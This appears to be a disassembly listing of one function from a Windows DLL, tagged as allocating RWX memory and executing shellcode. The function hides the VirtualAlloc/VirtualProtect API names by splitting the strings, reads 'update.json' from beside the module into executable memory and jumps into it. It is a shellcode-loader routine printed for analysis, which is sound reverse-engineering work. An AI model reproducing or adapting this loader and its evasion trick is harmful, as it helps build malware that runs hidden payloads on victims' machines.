Function at 0x10001160
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000da07
mov eax, dword fs:[0]
push eax
sub esp, 0x1c4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1a4], eax
test eax, eax
je 0x100017fc
push 4
xorps xmm0, xmm0
mov dword [ebp - 0x150], 0
push str.Virt
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x14c], 0
movups xmmword [ebp - 0x160], xmm0
call fcn.10001960
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x190]
push 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x180], 0
push str.ualProtect
movups xmmword [ebp - 0x190], xmm0
mov dword [ebp - 0x17c], 0
call fcn.10001960
mov byte [ebp - 4], 1
mov eax, 0x7fffffff
mov ecx, dword [ebp - 0x150]
sub eax, ecx
mov edx, dword [ebp - 0x180]
cmp eax, edx
jb 0x10001817
cmp dword [ebp - 0x14c], 0xf
lea eax, [ebp - 0x160]
lea esi, [ebp - 0x190]
mov dword [ebp - 0x138], 0
cmova eax, dword [ebp - 0x160]
lea edi, [ebp - 0x148]
cmp dword [ebp - 0x17c], 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x19c], eax
cmova esi, dword [ebp - 0x190]
add edx, ecx
mov dword [ebp - 0x1a0], esi
mov esi, 0xf
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x198], edx
movups xmmword [ebp - 0x148], xmm0
cmp edx, esi
jbe 0x1000131b
mov esi, edx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x100012cf
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.10001cc4
add esp, 4
test eax, eax
je 0x10001826
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x10001303
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
test eax, eax
jne 0x100012e4
xor edi, edi
jmp 0x1000130f
cmp eax, 0x1000
jb 0x100012f8
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x1000181c
jmp 0x100012b3
push eax
call fcn.10001cc4
add esp, 4
mov edi, eax
mov edx, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x148], edi
push ecx
push eax
push edi
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x134], esi
call fcn.10004790
push dword [ebp - 0x180]
mov eax, dword [ebp - 0x150]
push dword [ebp - 0x1a0]
add eax, edi
push eax
call fcn.10004790
mov eax, dword [ebp - 0x198]
add esp, 0x18
mov byte [edi + eax], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x178]
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x168], 0
push str.VirtualAlloc
movups xmmword [ebp - 0x178], xmm0
mov dword [ebp - 0x164], 0
call fcn.10001960
mov byte [ebp - 4], 3
lea eax, [ebp - 0x148]
cmp dword [ebp - 0x134], 0xf
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmova eax, dword [ebp - 0x148]
push eax
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
cmp dword [ebp - 0x164], 0xf
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x198], eax
cmova ecx, dword [ebp - 0x178]
push ecx
push str.kernel32.dll
call esi
push eax
call edi
push str.ReadFile
push dword [ebp - 0x1a4]
mov esi, eax
call edi
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x130], 0x1000
call esi
mov dword [ebp - 0x1a0], eax
test eax, eax
je 0x100016e2
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x11c], 0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x118], 0
movups xmmword [ebp - 0x12c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001456
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.10001960
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x12c]
mov esi, dword [ebp - 0x118]
cmp esi, 0xf
mov edi, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x11c]
cmova ecx, edi
push 2
sub esp, 8
call fcn.100018a0
add esp, 0xc
cmp eax, 0xffffffff
je 0x10001626
lea ecx, [eax + 1]
mov dword [ebp - 0x1b0], 0
cmp dword [ebp - 0x11c], ecx
lea eax, [ebp - 0x12c]
xorps xmm0, xmm0
mov dword [ebp - 0x1ac], 0
cmovb ecx, dword [ebp - 0x11c]
cmp esi, 0xf
push ecx
cmova eax, edi
lea ecx, [ebp - 0x1c0]
push eax
movups xmmword [ebp - 0x1c0], xmm0
call fcn.10001960
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x1ac]
mov eax, edx
mov ecx, dword [ebp - 0x1b0]
sub eax, ecx
push 0xb
cmp eax, 0xb
jb 0x10001541
cmp edx, 0xf
lea esi, [ebp - 0x1c0]
lea eax, [ecx + 0xb]
cmova esi, dword [ebp - 0x1c0]
add esi, ecx
mov dword [ebp - 0x1b0], eax
push str.update.json
push esi
call fcn.10004790
add esp, 0xc
mov byte [esi + 0xb], 0
lea eax, [ebp - 0x1c0]
jmp 0x1000155c
push ecx
mov byte [ebp - 0x1a4], 0
lea ecx, [ebp - 0x1c0]
push dword [ebp - 0x1a4]
push 0xb
call fcn.10001a40
movups xmm0, xmmword [eax]
movq xmm1, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x118]
movq qword [ebp - 0x1a8], xmm1
movups xmmword [ebp - 0x1d0], xmm0
cmp ecx, 0xf
jbe 0x100015cd
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100015b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001821
push ecx
push edx
call fcn.10001c93
movups xmm0, xmmword [ebp - 0x1d0]
add esp, 8
movq xmm1, qword [ebp - 0x1a8]
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x1ac]
movq qword [ebp - 0x11c], xmm1
movups xmmword [ebp - 0x12c], xmm0
cmp ecx, 0xf
jbe 0x1000161a
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001610
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001821
push ecx
push edx
call fcn.10001c93
add esp, 8
mov edi, dword [ebp - 0x12c]
mov esi, dword [ebp - 0x118]
push 0
push 0
push 4
push 0
push 1
cmp esi, 0xf
lea eax, [ebp - 0x12c]
push 0x80000000
cmova eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000168d
mov edi, dword [ebp - 0x1a0]
lea eax, [ebp - 0x130]
push 0
push eax
push 0x100000
push edi
push esi
call dword [ebp - 0x19c]
test eax, eax
je 0x1000168d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x194]
push eax
push 0x40
push 0x100000
push edi
call dword [ebp - 0x198]
call edi
mov ecx, dword [ebp - 0x118]
cmp ecx, 0xf
jbe 0x100016c7
mov edx, dword [ebp - 0x12c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100016bd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001826
push ecx
push edx
call fcn.10001c93
add esp, 8
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
mov ecx, dword [ebp - 0x164]
cmp ecx, 0xf
jbe 0x1000171c
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001712
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001826
push ecx
push edx
call fcn.10001c93
add esp, 8
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
cmp ecx, 0xf
jbe 0x10001771
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001767
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001826
push ecx
push edx
call fcn.10001c93
add esp, 8
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
cmp eax, 0xf
jbe 0x100017c4
mov edx, dword [ebp - 0x190]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x100017ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001826
push ecx
push edx
call fcn.10001c93
add esp, 8
mov eax, dword [ebp - 0x14c]
cmp eax, 0xf
jbe 0x100017fc
mov edx, dword [ebp - 0x160]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x100017f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001826
push ecx
push edx
call fcn.10001c93
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10001c85
mov esp, ebp
pop ebp
ret
call fcn.10001150
call fcn.100010b0
call fcn.1000506c
call fcn.1000506c
int3